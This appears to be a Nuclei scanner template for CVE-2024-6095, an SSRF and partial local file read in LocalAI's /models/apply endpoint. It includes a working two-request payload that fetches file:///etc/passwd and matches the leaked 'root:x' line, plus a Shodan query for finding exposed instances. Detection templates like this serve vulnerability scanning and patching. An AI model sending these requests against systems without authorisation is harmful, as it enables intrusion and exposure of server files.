id: CVE-2024-6095 info: name: LocalAI - Partial Local File Read author: iamnoooob,pdresearch,rootxharsh severity: medium description: | A vulnerability in the /models/apply endpoint of mudler/localai versions 2.15.0 allows for Server-Side Request Forgery (SSRF) and partial Local File Inclusion (LFI). The endpoint supports both http(s)-// and file-// schemes, where the latter can lead to LFI. However, the output is limited due to the length of the error message. This vulnerability can be exploited by an attacker with network access to the LocalAI instance, potentially allowing unauthorized access to internal HTTP(s) servers and partial reading of local files. The issue is fixed in version 2.17. impact: | Attackers can exploit SSRF to access internal HTTP services and partially read local files through error messages, potentially exposing sensitive information. remediation: | Update LocalAI to version 2.17 or later to address the SSRF and LFI vulnerabilities. reference: - https://github.com/fkie-cad/nvd-json-data-feeds - https://github.com/sev-hack/sev-hack - https://nvd.nist.gov/vuln/detail/CVE-2024-6095 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N cvss-score: 5.8 cve-id: CVE-2024-6095 cwe-id: CWE-918 epss-score: 0.86379 epss-percentile: 0.99423 cpe: cpe:2.3:a:mudler:localai:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: mudler product: localai shodan-query: http.favicon.hash:-976853304 tags: cve,cve2024,localai,mudler,lfi,vuln flow: http(1) && http(2) http: - raw: - | POST /models/apply HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"url":"file:///etc/passwd"} extractors: - type: json part: body name: uuid internal: true json: - ".uuid" - raw: - | GET /models/jobs/{{uuid}} HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - ': cannot unmarshal !!str `root:x:...`' - type: word part: content_type words: - 'application/json' - type: status status: - 200 # digest: 490a0046304402205b5ad24f614e4493745845611868ff1316a33dc4fda9803f7e4084d753816ed502206efaefd7e83309a06bc9c3208521178a2d0ea3bb1fe8316e8da53ccd79e85d67:922c64590222798bb761d5b6d8e72950